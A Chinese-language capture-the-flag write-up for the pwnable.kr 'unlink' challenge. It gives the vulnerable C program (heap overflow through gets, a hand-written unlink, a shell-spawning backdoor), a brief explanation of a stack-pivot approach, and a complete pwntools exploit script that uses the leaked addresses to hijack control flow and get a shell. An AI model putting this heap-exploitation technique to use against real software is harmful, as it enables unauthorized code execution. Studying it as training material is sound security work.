pwnable.kr 之 unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;

void shell(){
system("/bin/sh");
}

void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));

// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;

printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);

// exploit this unlink!
unlink(B);
return 0;
}

有后门函数,且堆溢出

unlink函数模拟了 unlink的过程,可以结合堆溢出实现任意地址写。

一开始的想法是将 shell 函数地址写到栈的返回地址上去,不过直接写会破坏 shell 函数,且text段不可写,会crash

FD->bk=BK; BK->fd=FD;

会往shell+4 写入数据 ,导致crash

直接写不行,那就用栈迁移,调整好参数位置就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./unlink')
# p = process(argv=['',pay])
# p = process(["./ld.so","./easygame"],env={"LD_PRELOAD":"./libc.so.6"})
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

ru("leak: ")
stack = int(ru('\n')[:-1],16)
ru("leak: ")
heap_base = int(ru('\n')[:-1],16)-0x10
leak("stack",stack)
leak("heap_base",heap_base)

#debug(0x08048521,0)

shell = 0x80484EB
pay = p32(0)*3 + p32(0x19)
pay += p32(heap_base+0x38) + p32(stack-0x1c) #FD and BK
pay += p32(shell) + p32(heap_base+0x34)
sl(pay)
p.interactive()
0%